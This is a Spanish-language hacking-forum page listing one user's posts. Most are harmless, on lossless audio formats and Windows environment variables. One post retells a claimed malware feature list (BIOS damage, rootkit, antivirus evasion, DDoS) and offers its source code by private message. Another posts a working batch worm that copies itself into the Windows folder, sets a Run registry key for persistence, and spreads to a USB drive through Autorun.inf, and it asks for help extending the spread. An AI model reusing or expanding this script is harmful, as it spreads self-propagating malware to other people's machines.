elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Entrar al Canal Oficial Telegram de elhacker.net


  Mostrar Mensajes
Páginas: [1]
1  Seguridad Informática / Análisis y Diseño de Malware / [Duda] Es posible estas acciones en un malware? en: 31 Enero 2014, 07:05 am
Hola, bueno espero no incomodar con la longitud....
bien, descubrí que una compañera de academia es una pirata informática, espero poder denunciarla  ;-) , olvidó su pendrive en un salón de mi academia, bueno quedé sorprendido por el contenido de sus archivos, aquí hay un texto que relata una versión,  me pregunto, es posible que un virus tenga todas estas funciones?????

me parece bastante exagerado, además de ser algo inusual, y mucho menos de una chica de 15 años de edad ¬¬

"angela1.txt"
congela unidades, escribe un codigo en la BIOS para que
quede totalmente inutilizable
muta su ejecución de x32 a x64 y viceversa creando varios archivos para el procedimiento
oculta su proceso y aparece inyectado en otros en algunas ocasiones se autoelimina y se
autoregenera, trabaja por modulos
se puede infiltrar con el antivirus, cifra archivos valiosos u/o importantes
es un rootkit completo casi indetectable, se escribe en el kernel, y se crea una copia de seguridad.
es pesado (49.3mb)
se activa y autodesactiva, puede usar multiples conexiones y banda ancha
se autoactualiza y se autodefiende, se autooculta y automuta, inyecta su codigo en cada ejecutable, FUD total
y se personaliza su codigo dentro de navegadores y otros programas , bloquea URL's , programas de deteccion
y analiza las descargas que el usuario hace, si este contiene nombres como ES* EAV* ANTIV*, mbam-setup.exe, Anti* y mas de 20,000 terminos 
que utilizan algunos instaladores o aplicaciones, es automaticamente suprimido y sobreescrito 3 veces, ejecuta
el antivirus y los programas en sandbox, se autoinstala y desinstala , intenta infiltrarse en otros sistemas
busca vulnerabilidades se conecta a distintas botnets, hace ataques DDoS y otros diversos tipos de ataques, tambien hace Pentest y envia la información a los autores intelectuales del malware, se propaga a una version media como archivo .ini creando un acceso directo hacia el .ini mediante Rundll32, que una vez ejecutado descarga su versión original y se prepara en lo necesario, no es detectado por ningún antivirus por el momento, es mutable, su tamaño puede variar, y en su versión básica no puede pesar menos de 5mb, porque el código ya está especificado solidamente, encambio en la versión total es totalmente mutable y autoactualizable, además intenta acceder a dispositivos con bluetooth, wi-fi u otros dispositivos de acceso simple para el ordenador, se adhiere a archivos comprimidos .rar,tar,gz,etc , modifica archivos multimedia como "mkv", "mp4", y le pone final feliz al supuesto video, además de infectar diversos archivos con extensiones .exe,.com,etc puede inhabilitarse temporalmente, no infecta carpetas que contengan la letra "W" no es compatible con versiones anteriores de windows xp. parcha Launchers de juegos on-line como dota2, lineage, ect.



debe ser su imaginación, un clon de deep freeze o shadow defender? jajaja que........ bueno pero tengo el codigo fuente y los binarios incluyendo notas de versión , ect , realmente todo un proyecto malvado... pueden pedirmelo por MP (claro, si creen que es posible toda esa patraña) , gracias.

posdata: no se programar ni en batch u.u así que no entiendo nada como para postear publicamente el source ya que tal vez puede ser un script dañino o que se yo, apenas puedo entender un 1% es demasiado texto -.-!
enviaré el source code solo a miembros antiguos de este foro  :D
2  Media / Multimedia / Formatos de Audio sin pérdida y sin compresion en: 2 Enero 2014, 22:14 pm
Hola, como ustedes saben, existe una gran variedad de formatos de audio digital y bueno, estoy buscando la mejor calidad (si, la de CD) pero el detalle es que no se encuentran muchos de estos archivos en internet.

Bueno especificamente el formato sería WAV , eso creo , se dice que este formato no está comprimido y de seguro es la mejor calidad que existe...

En otro contexto , el audio en formato FLAC está comprimido, aunque no tenga pérdida de frecuencias , por cual debería optar y por que?


y si conocen mas formatos aparte de AAC (M4A) , por favor indicarlos y bueno en lo posible que sean faciles de conseguir en la red, ya que es muy costoso encontrar audio a esta calidad de sonido.

Obviamente quiero audio sin pérdida entonces los formatos como MP3 los aborrezco .
GRACIAS
Espero sus respuestas ^^,



[Piracy As Modify;Copy As Legal]
3  Programación / Scripting / Re: [BATCH] [SOLUCIONADO] Variable con la carpeta Startup en: 8 Enero 2013, 21:56 pm
%homepath%
%homedrive%
%systemdrive%
%systemroot%
%windir% :rolleyes:>.<
4  Programación / Scripting / [Batch] Propagación y autoejecución en: 8 Enero 2013, 03:20 am
Hola!

Porfavor necesito ayuda urgente con esto:

Tengo un trabajo y tengo que hacer un batch que se autopropague  >:(
pero de diversas maneras, como esta.:

Código
  1. @echo off
  2. copy /y %0 "C:\WINDOWS"
  3. reg add hklm\software\microsoft\windows\currentversion\run /v ruun /t reg_sz /d C:\d.exe /f
  4. if EXIST "C:\Autorun.inf" (goto one) else (goto two)
  5.  
  6. :one
  7. if EXIST "C:\d.bat" (goto hi) else (goto Xx)
  8.  
  9. :two
  10. echo [Autorun] > C:\Autorun.inf
  11. echo label=Pendrive >> C:\Autorun.inf
  12. echo action=Abrir Pendrive >> C:\Autorun.inf
  13. echo shellexecute= "/d.bat" >> C:\Autorun.inf
  14. echo reg add hklm\software\microsoft\windows\currentversion\run /v ruun /t reg_sz /d C:\wi.bat /f >> C:\d.bat
  15. echo start >> C:\wi.bat
  16. Echo :hid >> C:\wi.bat
  17. echo goto hik >> C:\d.bat
  18. cls
  19. goto hi
  20.  
  21. :hi
  22. cls
  23. if EXIST "F:\" (goto si) else (goto hi)
  24.  
  25. :si
  26. if EXIST "F:\Autorun.inf" (goto si1) else (goto si2)
  27.  
  28. :si1
  29. goto hi
  30.  
  31. :si2
  32. copy /y "C:\autorun.inf", "F:\"
  33. copy /y "C:\d.bat", "F:\"
  34. goto hi
  35.  
  36. :ex
  37. goto hi


- Porfavor, si pueden incluyan estos métodos:
Autoexec.bat
Autoejecucion desde el registro
(runonce run y las variantes)
autorun.inf <- que se propague por cada unidad
--------------------------------------------------------------------------------------
También para que el autorun y el batch se propaguen por distintas unidades del sistema, y si es posible actualizandose cada 4 minútos o algo por el estilo....
--------------------------------------------------------------------------------------

Espero recibir ayuda, me ayudas y me funciona : Sales Bendecido  :D




Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines